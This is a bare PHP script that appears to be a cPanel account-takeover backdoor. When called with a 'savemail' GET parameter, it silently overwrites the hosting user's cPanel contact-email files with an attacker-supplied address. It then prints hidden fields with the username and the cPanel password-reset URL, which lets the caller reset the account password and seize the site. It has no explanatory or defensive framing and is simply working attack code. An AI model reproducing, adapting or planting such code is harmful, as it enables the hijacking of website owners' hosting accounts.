<?php
error_reporting(0);
echo "<input type='hidden'>";
if(isset($_GET["savemail"]) && !empty($_GET["savemail"])) {
	$_saveMail = $_GET["savemail"];
	// $_currUser = get_current_user();
	$_currUser = explode("/",getcwd())[2];
	$_workHome = '/' . explode("/",getcwd())[1] . '/';
	$_currDomain = $_SERVER['HTTP_HOST'];
	$_mainUrl = "https://" . $_currDomain . ":2083/resetpass";
	$_writeIt = "email:" . $_saveMail;

	$_op1 = fopen($_workHome . $_currUser . "/.cpanel/contactinfo", "w");
	fwrite($_op1, $_writeIt);
	fclose($_op1);

	$_op1 = fopen($_workHome . $_currUser . "/.contactemail", "w");
	fwrite($_op1, $_writeIt);
	fclose($_op1);

	$_op2 = fopen($_workHome . $_currUser . "/.contactinfo", "w");
	fwrite($_op2, $_writeIt);
	fclose($_op2);
	
	echo "<input type='hidden' id='username' value='" . $_currUser . "' name='username'>";
	echo "<input type='hidden' id='info' value='" . "https://" . $_currDomain . ":2083|" . $_currUser . "|' name='info'>";
	echo "<input type='hidden' id='link' value='" . $_mainUrl . "' name='link'>";
}
?>